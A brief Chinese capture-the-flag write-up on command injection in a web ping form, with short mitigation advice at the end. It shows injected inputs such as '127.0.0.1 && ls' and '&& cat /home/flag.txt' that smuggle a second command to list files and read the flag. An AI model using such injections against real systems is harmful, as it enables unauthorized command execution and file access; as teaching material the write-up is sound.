CTF-web(命令执行漏洞)

部分web应用程序提供了一些命令执行的操作,如果没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。

先上题,这是一个实现ping功能的web界面
CTF-web(命令执行漏洞)_第1张图片
ping一下127.0.0.1看看
CTF-web(命令执行漏洞)_第2张图片
在window下,&&可以将两条命令连接起来执行,linux下同样适用

127.0.0.1 && ls

感觉这跟SQL注入有点像,所以说有输入的地方就可能存在漏洞,执行上面命令后返回如下结果
CTF-web(命令执行漏洞)_第3张图片
然后大胆猜测一下flag在某个txt文件中,所以执行如下命令

127.0.0.1 && find / -name "*.txt"

CTF-web(命令执行漏洞)_第4张图片
于是直接查看flag.txt,拿到flag

127.0.0.1 && cat /home/flag.txt

CTF-web(命令执行漏洞)_第5张图片

防范命令执行漏洞:

  • 尽量不要使用系统执行命令
  • 在进入执行命令函数/方法之前,要对变量做好过滤,对敏感字符进行转义
  • 在使用动态函数之前,确保使用的函数是指定的函数之一
  • 对于PHP语言来说,不能完全控制的函数最好不用

你可能感兴趣的:(ctf-web)